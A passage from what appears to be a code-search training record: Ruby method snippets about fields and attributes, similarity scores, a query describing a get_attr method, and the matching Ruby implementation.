"def build\n criteria_fields.inject({}) do |criteria_hash, field|\n value = field_value field \n set_criteria(criteria_hash, field, value) unless skip?(field, value)\n criteria_hash\n end\n end",
"def fetch\n if raw\n field_config.accessor ? retieve_using_accessor : retrieve_simple\n else\n super\n end\n end",
"def build_custom_virtual_field(column_name)\n return unless @custom_fields2.key?(column_name)\n\n @custom_fields2[column_name] => {query_attributes:}\n\n raise \"query_attributes cannot be empty for #{column_name}\" if query_attributes.blank?\n\n query_attributes.map do |hint|\n # implicitly allow the hint here - the hint is\n # provided by filter settings and not user so\n # we assume it is secure\n validate_table_column(@table, hint, [hint])\n @table[hint]\n end\n end",
"def result_fields\n @fields ||= result_meta.collect { |m| m.name }\n end",
"def transform_custom_fields(params)\n return params unless @has_custom_fields\n\n @@name_key_hash = Pipedrive.send(\"#{@resource_name}_fields\").name_key_hash\n @@name_key_hash.transform_keys!{|key|clear_key(key)}\n\n hash = ::CUSTOM_FIELD_NAMES\n if hash && hash[@resource_name.to_sym]\n @@name_key_hash = @@name_key_hash.merge(hash[@resource_name.to_sym].invert)\n end\n\n keys = @@name_key_hash.keys\n res = {}\n\n params.each do |name, value|\n if keys.include?(name.to_s) #Custom Field\n res[@@name_key_hash[name.to_s]] = value\n else\n res[name] = value\n end\n end\n res\n end",
"def get_field_deserializers()\n return super.merge({\n \"audiences\" => lambda {|n| @audiences = n.get_collection_of_primitive_values(String) },\n \"description\" => lambda {|n| @description = n.get_string_value() },\n \"issuer\" => lambda {|n| @issuer = n.get_string_value() },\n \"name\" => lambda {|n| @name = n.get_string_value() },\n \"subject\" => lambda {|n| @subject = n.get_string_value() },\n })\n end",
"def record_fields\n mappings = super\n\n if record.use_restrictions_note && record.use_restrictions_note.present?\n mappings['use_restrictions_note'] = record.use_restrictions_note\n end\n\n if record.access_restrictions_note && record.access_restrictions_note.present?\n mappings['access_restrictions_note'] = record.access_restrictions_note\n end\n\n mappings['language'] = self.record['language']\n\n return mappings\n end",
"def get_field_deserializers()\n return super.merge({\n \"description\" => lambda {|n| @description = n.get_string_value() },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"members\" => lambda {|n| @members = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::DirectoryObject.create_from_discriminator_value(pn) }) },\n \"roleTemplateId\" => lambda {|n| @role_template_id = n.get_string_value() },\n \"scopedMembers\" => lambda {|n| @scoped_members = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::ScopedRoleMembership.create_from_discriminator_value(pn) }) },\n })\n end",
"def initialize(query, field = :name)\n fail UnsupportedIndex unless %w(name sncf_id).include?(field.to_s)\n @query = query\n @by = field\n end",
"def perform_field_query query, response, scope\n if Array === query\n case query.first\n when :method # a method call\n query.shift\n return eval(query.join('.'))\n when :literal # a literal value\n return query.last\n end\n end\n response.scalar_query(query, scope)\n end",
"def reflect_fields\n send_and_receive('admin/luke', params: { fl: '*', 'json.nl' => 'map' })['fields']\n end",
"def form_fields\n values = super\n result = {}\n mappings.values.each { |field|\n result[field] = values[field] if values[field]\n }\n result\n end",
"def get_field_deserializers()\n return super.merge({\n \"clientContext\" => lambda {|n| @client_context = n.get_string_value() },\n \"resultInfo\" => lambda {|n| @result_info = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ResultInfo.create_from_discriminator_value(pn) }) },\n \"status\" => lambda {|n| @status = n.get_enum_value(MicrosoftGraph::Models::OperationStatus) },\n })\n end",
"def get_field_deserializers()\n return {\n \"hitsContainers\" => lambda {|n| @hits_containers = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::SearchHitsContainer.create_from_discriminator_value(pn) }) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"queryAlterationResponse\" => lambda {|n| @query_alteration_response = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::AlterationResponse.create_from_discriminator_value(pn) }) },\n \"resultTemplates\" => lambda {|n| @result_templates = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ResultTemplateDictionary.create_from_discriminator_value(pn) }) },\n \"searchTerms\" => lambda {|n| @search_terms = n.get_collection_of_primitive_values(String) },\n }\n end",
"def process_query(query)\n # Nothing in default\n end",
"def prepare_orm_data_for_filters\n self.data_grid.columns.each do |col|\n next if col.filter.nil? # if no filter\n\n # Prepare auto filters\n if col.filter == :auto\n col.filter_data = self.data_grid.data_class.select(\"DISTINCT (#{col.filter_by}) as fc\").to_a.to_a.map(&:fc)\n end\n\n col.filter_data.uniq!\n col.filter_data.sort!\n end\n end",
"def fields\n field_map_class.new do |field_map|\n index_config.each { |name, index_field_config| field_map.insert(name, index_field_config, object) }\n end\n end",
"def get_field_deserializers()\n return super.merge({\n \"certificateData\" => lambda {|n| @certificate_data = n.get_string_value() },\n \"developerId\" => lambda {|n| @developer_id = n.get_string_value() },\n \"keyId\" => lambda {|n| @key_id = n.get_string_value() },\n \"serviceId\" => lambda {|n| @service_id = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return {\n \"appliesTo\" => lambda {|n| @applies_to = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"provisioningStatus\" => lambda {|n| @provisioning_status = n.get_string_value() },\n \"servicePlanId\" => lambda {|n| @service_plan_id = n.get_guid_value() },\n \"servicePlanName\" => lambda {|n| @service_plan_name = n.get_string_value() },\n }\n end",
"def map_fields_to_other(rally_object, operation, reference_time = Time.now.utc)\n int_work_item = OrderedHash.new\n @other_connection.field_defaults.each_pair { |key, val| int_work_item[key] = val } if operation == :create\n\n changed_rally_fields = []\n if operation == :update\n mapped_rally_fields = @field_mapping.select {|mf| mf.direction != Direction::TO_RALLY}.collect{|mf| mf.rally_attr.to_s}\n changed_rally_fields = @rally_connection.fields_changed(rally_object, reference_time, mapped_rally_fields)\n end\n\n @field_mapping.each do |map|\n if operation == :update\n if not changed_rally_fields.include?(map.rally_attr.to_s)\n # OVERRIDE: don't tell the world something didn't change because we aren't going to care\n #RallyLogger.debug(self, \"#{map.rally_attr.to_s} value was not changed, not included in update fields\")\n end\n end\n\n # OVERRIDE TO NOT SKIP FIELDS\n #next if operation == :update && !changed_rally_fields.include?(map.rally_attr.to_s) #skip the field if it wasn't changed in Rally\n next if map.direction == Direction::TO_RALLY\n\n orig_rally_value = @rally_connection.get_value(rally_object, map.rally_attr) # get the value from Rally\n rally_value = orig_rally_value\n rfh = @rally_connection.find_field_handler(map.rally_attr) # if there is a field_handler registered, transform the rally_value\n rally_value = rfh.transform_out(rally_object) if !rfh.nil?\n\n ofh = @other_connection.find_field_handler(map.other_attr)\n other_value = rally_value\n if rally_value && rally_value.is_a?(RallyAPI::RallyObject)\n rally_value.refresh\n rally_value = rally_value[\"UserName\"]\n end\n other_value = ofh.transform_in(rally_value) if !ofh.nil?\n\n # Map the field only if it's not nil and not 'None', except that 'None' is ok if there is a field handler\n # This covers the case where field lists are identical in Rally and other and there is no enumfieldhandler,\n # so we should not send Rally's 'None' to the other system\n # TODO: what if we wanted to set something to nil or None?\n\n if @other_connection.user_fields.include?(map.other_attr.to_s)\n # verify rally_value is in the users_cache otherwise assign rally_value is nil\n other_object = @other_connection.user_by_username(other_value)\n if other_object\n other_value = other_object.name\n else\n other_value = nil\n end\n if rally_value && other_value.nil?\n anomaly = \" Mapping #{map.rally_attr}(#{orig_rally_value}) - to - #{map.other_attr}() [no mapping value found]\"\n RallyLogger.debug(self, anomaly)\n user_name = nil\n if orig_rally_value\n orig_rally_value.refresh\n user_name = orig_rally_value[\"UserName\"]\n end\n problem = \"Rally #{map.rally_attr} value of |#{user_name}| not mapped to a valid #{@other_connection.name} user field value\"\n raise StandardError, problem\n end\n end\n\n map_action = map_action_text(map.rally_attr, orig_rally_value, map.other_attr, other_value)\n if other_value\n if other_value != 'None' || !ofh.nil?\n int_work_item[map.other_attr] = other_value\n else\n map_action << \" (this field skipped as the #{ofh.class.name} transformed #{map.other_attr} to None)\"\n end\n else\n map_action << \" (this field skipped as #{map.other_attr} is nil)\"\n end\n RallyLogger.debug(self, map_action)\n\n end\n return int_work_item\n end"
] |
[
"0.7044666",
"0.7044666",
"0.639103",
"0.6147704",
"0.6071293",
"0.5899231",
"0.588907",
"0.585449",
"0.58095974",
"0.57969356",
"0.57765466",
"0.5699842",
"0.56909966",
"0.56753796",
"0.5668904",
"0.56677127",
"0.5667058",
"0.562876",
"0.562161",
"0.5619363",
"0.5614173",
"0.56094605",
"0.55993456",
"0.5590683",
"0.55816865",
"0.55787456",
"0.55761",
"0.5572557",
"0.55548644",
"0.5549783",
"0.55497307",
"0.55394113",
"0.5527011",
"0.5506783",
"0.5491102",
"0.5484974",
"0.5483039",
"0.5478214",
"0.5470689",
"0.5452471",
"0.54365045",
"0.54318506",
"0.5422139",
"0.54193527",
"0.5417495",
"0.5415644",
"0.5413716",
"0.5396413",
"0.5393759",
"0.53876406",
"0.5385018",
"0.53818333",
"0.53795975",
"0.5375369",
"0.53734285",
"0.5351058",
"0.53432995",
"0.53368187",
"0.532339",
"0.5317506",
"0.53127956",
"0.529986",
"0.5295884",
"0.528436",
"0.5275289",
"0.52751535",
"0.5273938",
"0.5271047",
"0.5270806",
"0.5266081",
"0.5259576",
"0.5259276",
"0.52586097",
"0.52555376",
"0.52532756",
"0.525239",
"0.5251948",
"0.52493685",
"0.5243451",
"0.5237355",
"0.5235043",
"0.52291024",
"0.5225207",
"0.52242404",
"0.52195525",
"0.5218726",
"0.5208316",
"0.52078503",
"0.5205236",
"0.5204552",
"0.5195916",
"0.5195057",
"0.51933473",
"0.51919836",
"0.5187556",
"0.5181298",
"0.51798725",
"0.5178267",
"0.5177212",
"0.5175073",
"0.5174566"
] |
0.0
|
-1
|
Used by the Process. Ask controller get_attr to get a data The result is the data of a defined data attribute. If the value is normally mapped (value mapped), the value is returned as a recognized data attribute value.
|
def get_attr(oObject, key)
raise ForjError.new(), "'%s' is not a valid Object type. " % [oObject.class] if not oObject.is_a?(Hash) and rhExist?(oObject, :object_type) != 1
sCloudObj = oObject[:object_type]
oKeyPath = KeyPath.new(key)
raise ForjError.new(), "'%s' key is not declared as data of '%s' CloudObject. You may need to add obj_needs..." % [oKeyPath.sKey, sCloudObj] if rhExist?(@@meta_obj, sCloudObj, :returns, oKeyPath.sFullPath) != 3
begin
oMapPath = KeyPath.new(rhGet(@@meta_obj, sCloudObj, :returns, oKeyPath.sFullPath))
hMap = oMapPath.sFullPath
value = @oProvider.get_attr(get_cObject(oObject), hMap)
hValueMapping = rhGet(@@meta_obj, sCloudObj, :value_mapping, oKeyPath.sFullPath)
if hValueMapping
hValueMapping.each { | found_key, found_value |
if found_value == value
value = found_key
break
end
}
end
rescue => e
raise ForjError.new(), "'%s.get_attr' fails to provide value of '%s'" % [oProvider.class, key]
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def data\n attributes.fetch(:data)\n end",
"def data\n attributes.fetch(:data)\n end",
"def get_attribute_value(attribute)\n data[attribute]\n end",
"def data\n attributes['data']\n end",
"def _read_attribute(attr)\n @attributes[attr]\n end",
"def attribute_value\n @attributes.each { | id, value | return value }\n end",
"def get_attribute(name); end",
"def get_attribute(name); end",
"def _read_attribute(key); end",
"def _read_attribute(attr_name, &block) # :nodoc:\n @attributes.fetch_value(attr_name, &block)\n end",
"def value\n attributes.fetch(:value)\n end",
"def data\n read_attribute(binary ? :binary_data : :data)\n end",
"def attribute\n :\"#{name}_data\" if name\n end",
"def get\n data[\"_value\"]\n end",
"def fetch(attr, default = nil)\n if respond_to?(attr)\n send(attr)\n elsif values.include?(attr)\n values[attr]\n else\n if !default.nil?\n default\n elsif block_given?\n yield(attr)\n else\n raise(MissingAttributeError, \"Missing attribute #{attr}\")\n end\n end\n end",
"def [](attribute)\n ensure_loaded! unless self.class[attribute].present_in(@_data)\n self.class[attribute].get(@_data)\n end",
"def get_attribute(name)\n str = name.to_s\n \n # try fetching an instance variable first\n value = instance_variable_get(\"@#{str}\")\n return value unless value.nil?\n \n # not an instance variable -- try fetching from @metadata\n load_metadata unless @metadata_loaded\n value = @metadata[str]\n return value unless value.nil?\n \n # not in metadata under that name -- is there another variant?\n alternate_name = nil\n self.class.md_key_map.each do |md_name, var_name|\n if str == md_name.to_s\n alternate_name = var_name.to_s\n break\n end\n end\n \n # if we couldn't find anything, return nil\n return nil if alternate_name.nil?\n \n # otherwise, try looking in metadata using the alternate name\n # if this doesn't work, we'll just let the method return nil\n @metadata[alternate_name]\n end",
"def data\n @data ||= self.class.unmarshal(read_attribute('data')) || {}\n end",
"def read\n value = record.send(\"#{name}_data\")\n value unless value.nil? || value.empty?\n end",
"def [](attr_name)\n @attributes.fetch_value(attr_name.to_s)\n end",
"def get_attribute(name)\n return @attrs[name] if attrs.key?(name)\n end",
"def read_attribute(attr_name)\n attr_name = attr_name.to_sym\n\n @attributes_cache[attr_name] || @attributes_cache.fetch(attr_name) do\n data = @attributes.fetch(attr_name) do\n # This statement overrides id to return the primary key\n # if it is set to something other than :id\n if attr_name == :id && self.class.primary_key != attr_name\n return read_attribute(self.class.primary_key)\n end\n\n # For some reason hashes return false for key? if the value\n # at that key is nil. It also executes this block for fetch\n # when it really shouldn't. Detect that error here and give\n # back nil for data\n if @attributes.keys.include?(attr_name)\n nil\n else\n # In this case the attribute was truly not found, if we're\n # given a block execute that otherwise return nil\n return block_given? ? yield(attr_name) : nil\n end\n end\n # This sets and returns the typecasted value\n @attributes_cache[attr_name] = self.typecast_attribute_for_read(\n attr_name,\n data\n )\n end\n end",
"def value\n @attributes[:value]\n end",
"def read_attr(name, record=false)\n result =\n case value = instance_variable_get(\"@#{name}\")\n when nil\n yield if block_given?\n when Proc\n value.to_proc.call(self)\n else\n value\n end\n instance_variable_set(\"@#{name}\", result) if record\n result\n end",
"def get_attr(at, default=nil)\n if @data.nil?\n return default\n end\n \n return @data[at] || default\n end",
"def read_attribute\n record.public_send(attribute)\n end",
"def get_data(key) \n return @data[key]\n end",
"def get_attribute(node, attr_name)\n #There has been a method shift between 0.5 and 0.7\n if defined?(node.property) == nil\n return node.attributes[attr_name]\n else\n if defined?(node[attr_name])\n return node[attr_name]\n else\n return node.property(attr_name)\n end\n end\n end",
"def value(); self.data.value; end",
"def read_attribute(key)\n @attributes[key]\n end",
"def read_attribute(key)\n @attributes[key]\n end",
"def [](attr_name)\n if self.attribute_names.include?(attr_name)\n read_attribute(attr_name)\n else\n get_custom_attribute(attr_name)\n end\n end",
"def get(key)\n @attrs[key].present? ? @attrs[key] : nil\n end",
"def get_attribute(attr_name)\n return nil unless @attributes.key? attr_name\n\n @attributes[attr_name]\n end",
"def get_value(attribute_id)\n get_custom_value_hash\n return @custom_value_hash[attribute_id]\n end",
"def data\n self[:data]\n end",
"def get attribute\n attributes[attribute]\n end",
"def data\r\n @obj.read_var(@name)\r\n end",
"def get(value)\n if value.kind_of? Details::Attribute\n raise \"Invalid attribute! Must be an attribute named #{self.name}\" if value.name != self.name\n value = value.value\n end\n value.strip! if value.kind_of? String\n @values.find { |v| v.value == value }\n end",
"def attribute_get(name)\n \n name = name.to_sym\n \n if properties.has_key?(name)\n properties[name].get(self)\n else\n nil\n end\n \n end",
"def read_attribute_for_validation(attr)\r\n send(attr)\r\n end",
"def object_value(dynamo_data)\n dynamo_data[dynamo_attribute_key].send dynamo_attribute_value_type_key\n end",
"def read_attribute(attr_name)\n return unless attr_name\n\n attr_name = attr_name.to_s\n methods = self.class.generated_external_attribute_methods\n\n if methods.method_defined?(attr_name)\n if @attributes.has_key?(attr_name) || attr_name == 'id'\n methods.send(attr_name, @attributes[attr_name], @attributes, @attributes_cache, attr_name)\n end\n elsif !self.class.attribute_methods_generated?\n # If we haven't generated the caster methods yet, do that and\n # then try again\n self.class.define_attribute_methods\n read_attribute(attr_name)\n else\n # If we get here, the attribute has no associated DB column, so\n # just return it verbatim.\n @attributes[attr_name]\n end\n end",
"def result_attrs\n main_result[\"@attr\"] rescue {}\n end",
"def get_attribute(dict_name, key, default_value = nil)\n end",
"def attributes\n data[:attributes]\n end",
"def data_support\n attributes.fetch(:dataSupport)\n end",
"def value_for_data(key, item, value_key = :value)\n if item and item[:data] and item[:data][key]\n return item[:data][key][value_key]\n end\n return nil\n end",
"def read_attribute_for_validation(attr)\n send(attr)\n end",
"def read_attribute_for_validation(attr)\n send(attr)\n end",
"def read_attribute_for_validation(attr)\n send(attr)\n end",
"def read_attribute(name)\n fields[name].get(@attributes[name])\n end",
"def retrieve_data\n if is_fork?\n parent.data\n else\n self.read_attribute(\"data\")\n end\n end",
"def post_code_attribute_get(instance, name)\n self.default_attribute_get(instance, name)\n end",
"def read_attribute(key)\n @attributes[key.to_sym]\n end",
"def get(attribute_name)\n # label, attribute = attribute_name.split('_')\n # self.send(\"#{attribute}s\").first_for(label)\n attributes[attribute_name.to_sym] ||= get_field(attribute_map[attribute_name])\n end",
"def attribute_get(name)\n @attributes[:current][name]\n end",
"def data_attributes\n end",
"def read_attribute_with_dynamo(field_name)\n field_name = field_name.to_s\n if is_dynamo_field?(field_name)\n \n # If the model's id is nil then we know there aren't going to be any values to read.\n # example: If this is a supplier model and we are creating a new supplier at this point its id is nil\n # Because of this fact we know there are no dynamo_field_values associated with it so return.\n # If we didn't return here then when checking for values we would create extra queries.\n # Any time we do a df.dynamo_field_values we create overhead so we only want to do that when we have to.\n return if self.id == nil\n \n # We're doing a real read now so get the dynamo_field from the cache then query to get the correct value.\n dynamo_field = cached_dynamo_field_by_name(field_name)\n \n # Get all the dynamo field values for this model from the cache.\n dynamo_field_value = cached_dynamo_field_values.detect{|dyn_field_val| dyn_field_val.dynamo_field_id == dynamo_field.id && dyn_field_val.model_id == self.id }\n \n return nil if dynamo_field_value.blank?\n return dynamo_field_value.send(dynamo_field.field_type)\n end\n # If its a 'normal' attribute let rails handle it in its usual way\n read_attribute_without_dynamo(field_name)\n end",
"def method_missing(method_id, *arguments, &block)\n return data['attributes'][method_id.to_s] if data['attributes'].key?(method_id.to_s) && arguments.none? && block.nil?\n\n super\n end",
"def decode data\n if data.is_a? Hash\n self.class.attributes.each do |name, options|\n send(\"#{name}=\", processed_data(data[name] || data[name.to_s], options))\n end\n elsif name = self.class.default_attribute\n options = self.class.attributes[name]\n send(\"#{name}=\", processed_data(data, options))\n else\n raise ArgumentError.new(\"data is not a Hash (it\\'s a #{data.class}) and default attribute not specified\")\n end\n end",
"def get_attribute( name )\n @attr_nodes.each do |attr|\n if attr.name == name then\n #//////////////////////////\n # 変更する\n #//////////////////////////\n return attr.value\n end\n end\n return \"\"\n end",
"def read_attribute(attr_name) #:doc:\n if @attributes.keys.include? attr_name\n if column = column_for_attribute(attr_name)\n @attributes[attr_name] = unserializable_attribute?(attr_name, column) ?\n unserialize_attribute(attr_name) : column.type_cast(@attributes[attr_name])\n end\n \n @attributes[attr_name]\n else\n nil\n end\n end",
"def get(key)\n self.data[key] && self.data[key][:value]\n end",
"def get_attr_value_from_ext_attr( m_name, args )\n \n if self.new_record?\n \n value = nil\n \n self.extended_attributes.each do |extended_attr|\n value = ( extended_attr.value.blank? ? nil : extended_attr.value ) if( extended_attr.attr_name == m_name )\n end\n value\n \n else\n extended_attribute = find_in_extended_attr( m_name )\n extended_attribute.value if extended_attribute\n end\n \n end",
"def read_attribute\n Logging.debug \"Read attribute #{field_name}, got #{object.send(:read_attribute,field_name)} for #{object.inspect}\"\n object.send( :read_attribute, field_name )\n end",
"def attribute(name)\n return attributes[name]\n end",
"def read_attribute(attr_name)\n attr_name = attr_name.to_s\n if !(value = @attributes[attr_name]).nil?\n if column = column_for_attribute(attr_name)\n if unserializable_attribute?(attr_name, column)\n unserialize_attribute(attr_name)\n elsif [:date, :time, :datetime].include?(column.type) && @attributes_cache.has_key?(attr_name)\n @attributes_cache[attr_name]\n else\n column.type_cast(value)\n end\n else\n value\n end\n else\n nil\n end\n end",
"def get_attr_value(value, opts)\n case value\n when OvirtSDK4::List\n value.to_a\n when Array, Hash, DateTime\n value\n when OvirtSDK4::HighAvailability\n opts[:ha] = value.enabled\n value\n when OvirtSDK4::TemplateVersion\n OpenStruct.new(:version_name => value.version_name, :version_number => value.version_number)\n when OvirtSDK4::Mac\n value.address\n when OvirtSDK4::Cpu\n opts[:cores] = value.topology.nil? ? nil : value.topology.cores\n opts[:sockets] = value.topology.nil? ? nil : value.topology.sockets\n when OvirtSDK4::Display\n subject = value.certificate.subject if value.certificate\n {\n :type => value.type,\n :address => value.address,\n :port => value.port,\n :secure_port => value.secure_port,\n :keyboard_layout => value.keyboard_layout,\n :subject => subject,\n :monitors => value.monitors\n }\n when OvirtSDK4::Console\n { :enabled => value.enabled }\n else\n if value.class.respond_to?(:module_parent) && value.class.module_parent == OvirtSDK4\n value.id if value.respond_to?(:id)\n else\n value.to_s.strip\n end\n end\n end",
"def []( attrname )\n\t\tattrsym = attrname.to_sym\n\n\t\tif @values.key?( attrsym )\n\t\t\t# self.log.debug \" value for %p is cached (%p).\" % [ attrname, @values[attrsym] ]\n\t\telse\n\t\t\tself.log.debug \" value for %p is NOT cached.\" % [ attrsym ]\n\t\t\tvalue = self.get_converted_object( attrsym )\n\t\t\tself.log.debug \" converted value is: %p\" % [ value ]\n\t\t\tvalue.freeze if\n\t\t\t\tself.class.freeze_converted_values? &&\n\t\t\t\tvalue.respond_to?( :freeze )\n\t\t\t@values[ attrsym ] = value if value\n\t\tend\n\n\t\treturn @values[ attrsym ]\n\tend",
"def attr_get(key)\n key_count = 0\n @attrkeys.each do |attrkey|\n if(attrkey == key)\n @attrvals[key_count]\n end\n key_count = key_count + 1\n end\n nil\n end",
"def fetch(key, attr, vtype = :string)\n value = get(key, attr, vtype)\n unless value\n value = yield\n set value, key, attr if value\n end\n\n value\n end",
"def get_attribute(name)\n @attributes[name]\n end",
"def [](key)\n a = @attrs_hash[key.intern]\n if a\n a.value\n else\n nil\n end\n end",
"def object_value_from_dynamo_data(dynamo_record)\n dynamo_record[dynamo_attribute_key]\n end",
"def get_data(key=nil)\n @data ||= {}\n @data[key]\n end",
"def get_attribute(name, *args)\n @loaded ? super(name, *args) : load.send(name, *args)\n end",
"def data\n self[:data].with_indifferent_access\n end",
"def read_attribute(attr_name)\n attr_name = attr_name.to_s\n if !(value = @attributes[attr_name]).nil?\n if column = column_for_attribute(attr_name)\n write_attribute(attr_name, column.type_cast(value))\n else\n value\n end\n else\n nil\n end\n end",
"def get(field)\n self.class.get(field, @data)\n end",
"def get_attribute(name)\n @attributes[name.to_s]\n end",
"def method_missing(method_name, *args, &block)\n mapped_key = office_map[method_name.to_sym]\n if attributes.has_key?(mapped_key)\n attributes[mapped_key]\n else\n super\n end\n end",
"def method_missing(method_name, *args, &block)\n mapped_key = office_map[method_name.to_sym]\n if attributes.has_key?(mapped_key)\n attributes[mapped_key]\n else\n super\n end\n end",
"def method_missing(method_name, *args, &block)\n mapped_key = office_map[method_name.to_sym]\n if attributes.has_key?(mapped_key)\n attributes[mapped_key]\n else\n super\n end\n end",
"def get_attribute_value_map\n return @attribute_values if @attribute_values\n @attribute_values = self.class.distribute_attrib_values(@attribute_values_flat)\n return @attribute_values\n end",
"def attrs\n @item_data ||= @active_domain.nil? ? EMPTY_ITEM_DATA : get_items(@query)\n @item_data[:attrs]\n end",
"def data\n @data\n end",
"def data\n @data\n end",
"def data\n @data\n end",
"def read_attribute(key)\n @hash[key.to_s]\n end",
"def data\n @data ||= @_data.respond_to?(:call) ? @_data.call() : @_data\n end",
"def method_missing(meth, *args, &block)\n if meth.to_s == '[]'\n @data.fetch(args[0])\n else\n @data.fetch(meth.to_s)\n end\n end",
"def read_attribute(attr_name, &block)\n name = attr_name.to_s\n name = self.class.attribute_aliases[name] || name\n\n return @attributes.fetch_value(name, &block) unless name == \"id\" && @primary_key\n\n if self.class.composite_primary_key?\n @attributes.fetch_value(\"id\", &block)\n else\n if @primary_key != \"id\"\n ActiveRecord.deprecator.warn(<<-MSG.squish)\n Using read_attribute(:id) to read the primary key value is deprecated.\n Use #id instead.\n MSG\n end\n @attributes.fetch_value(@primary_key, &block)\n end\n end",
"def method_missing(name, *args)\n return @data[name.to_s] if @data.key? name.to_s\n super\n end",
"def [](attr_name)\n read_attribute(attr_name)\n end",
"def get_attribute(node, attr_name)\n node.attribute(attr_name)\n end",
"def read_attribute(attr_name)\n # Reading an attribute, we may get back a nil model.\n attr_name = attr_name.to_sym\n\n # Track dependency\n # @deps.depend(attr_name)\n\n # See if the value is in attributes\n if @attributes && @attributes.key?(attr_name)\n # Track dependency\n @deps.depend(attr_name)\n\n return @attributes[attr_name]\n else\n new_model = read_new_model(attr_name)\n @attributes ||= {}\n @attributes[attr_name] = new_model\n\n # Trigger size change\n # TODO: We can probably improve Computations to just make this work\n # without the delay\n if Volt.in_browser?\n `setImmediate(function() {`\n @size_dep.changed!\n `});`\n else\n @size_dep.changed!\n end\n\n # Depend on attribute\n @deps.depend(attr_name)\n return new_model\n end\n end",
"def get_data()\t\n\tend",
"def method_missing(method_name, *arguments, &block)\n # not a bug here, we want =, not ==\n if /^(?<id>[^=]+)$/ =~ method_name.to_s && (attribute = self[id])\n attribute.value\n else\n nil\n end\n end",
"def [](attr_name) \n read_attribute(attr_name)\n end",
"def attributes\n data.require(:attributes)\n end"
] |
[
"0.6904706",
"0.6904706",
"0.6706959",
"0.6595861",
"0.64358014",
"0.6404217",
"0.6245584",
"0.6245584",
"0.6242144",
"0.61767066",
"0.6160747",
"0.6109227",
"0.60504895",
"0.60254496",
"0.6010325",
"0.59988236",
"0.599168",
"0.59786445",
"0.5965994",
"0.5964459",
"0.58934116",
"0.58866",
"0.587788",
"0.5873864",
"0.5867618",
"0.58674014",
"0.5865691",
"0.5851901",
"0.5817953",
"0.57985103",
"0.57985103",
"0.5796622",
"0.57872707",
"0.576568",
"0.5760781",
"0.57499176",
"0.57378644",
"0.5734929",
"0.57213765",
"0.57208884",
"0.57169276",
"0.57122964",
"0.57028586",
"0.56919414",
"0.56801206",
"0.56753135",
"0.5667726",
"0.5661512",
"0.56508875",
"0.56508875",
"0.56508875",
"0.56456804",
"0.5641027",
"0.56315446",
"0.56095487",
"0.56086445",
"0.5594697",
"0.5592876",
"0.5583877",
"0.55789644",
"0.5562234",
"0.5561074",
"0.5557989",
"0.5544488",
"0.5543771",
"0.5536609",
"0.55359757",
"0.55322015",
"0.5528475",
"0.5523096",
"0.55203485",
"0.55175024",
"0.5516515",
"0.55147284",
"0.5513333",
"0.55130935",
"0.55087733",
"0.550268",
"0.54987377",
"0.54970545",
"0.5495927",
"0.54940724",
"0.54940724",
"0.54940724",
"0.54897726",
"0.5485458",
"0.5484233",
"0.5484233",
"0.5484233",
"0.54812765",
"0.54738843",
"0.54699016",
"0.5467487",
"0.54673624",
"0.54626966",
"0.5462629",
"0.546008",
"0.5447584",
"0.5445706",
"0.5443403",
"0.5442978"
] |
0.0
|
-1
|
get an attribute/object/... from an object.
|
def get_data(oObj, *key)
if oObj.is_a?(Hash) and oObj.key?(:object_type)
oObjData = ObjectData.new
oObjData << oObj
else
oObjData = @ObjectData
end
oObjData[oObj, *key]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get(object)\n type.get(object)\n end",
"def get(object); end",
"def fetch_attribute_from_object_and_resource(obj, attribute)\n _fetch_attribute_from_object_first(obj, attribute)\n end",
"def get_safe(obj,attr,id)\n a = get_obj(obj,id)\n return try(\"a.#{attr}\") if a and a.respond_to? attr\n #puts attr\n end",
"def get_attr(oObject, key)\n\n raise ForjError.new(), \"'%s' is not a valid Object type. \" % [oObject.class] if not oObject.is_a?(Hash) and rhExist?(oObject, :object_type) != 1\n sCloudObj = oObject[:object_type]\n oKeyPath = KeyPath.new(key)\n raise ForjError.new(), \"'%s' key is not declared as data of '%s' CloudObject. You may need to add obj_needs...\" % [oKeyPath.sKey, sCloudObj] if rhExist?(@@meta_obj, sCloudObj, :returns, oKeyPath.sFullPath) != 3\n begin\n oMapPath = KeyPath.new(rhGet(@@meta_obj, sCloudObj, :returns, oKeyPath.sFullPath))\n hMap = oMapPath.sFullPath\n value = @oProvider.get_attr(get_cObject(oObject), hMap)\n\n hValueMapping = rhGet(@@meta_obj, sCloudObj, :value_mapping, oKeyPath.sFullPath)\n\n if hValueMapping\n hValueMapping.each { | found_key, found_value |\n if found_value == value\n value = found_key\n break\n end\n }\n end\n rescue => e\n raise ForjError.new(), \"'%s.get_attr' fails to provide value of '%s'\" % [oProvider.class, key]\n end\n end",
"def object_data_get(object, *key)\n key = key.flatten\n\n return nil unless object.is_a?(Lorj::Data)\n\n # Return ObjectData Element if asked. Ignore additional keys.\n return @params[key[0]] if key[1] == :ObjectData\n\n # Return attributes if asked\n return object[:attrs, key[2..-1]] if key[1] == :attrs\n\n # params are retrieved in process context\n # By default, if key is detected as a framework object, return its\n # data.\n return object[:attrs, key[1..-1]] if @internal\n\n # params are retrieved in controller context\n # By default, if key is detected as a controller object, return its\n # data.\n return object[:object, key[1..-1]] unless @internal\n end",
"def get_attr(attribute)\n @top_level_object[attribute]\n end",
"def get_attribute(object, attribute)\n attribute = attribute.to_sym\n object = localize(object) unless object.respond_to? :nii_attribute?\n return object.nii_attribute(attribute) if object.nii_attribute? attribute\n raise Errors::UnknownAttribute, \"unknown attribute\"\n end",
"def convert_to_attribute( oid, object )\n\t\treturn object.to_s unless conversion = @object_conversions[ oid ]\n\n\t\tif conversion.respond_to?( :call )\n\t\t\treturn conversion.call( object, self )\n\t\telse\n\t\t\treturn conversion[ object ]\n\t\tend\n\tend",
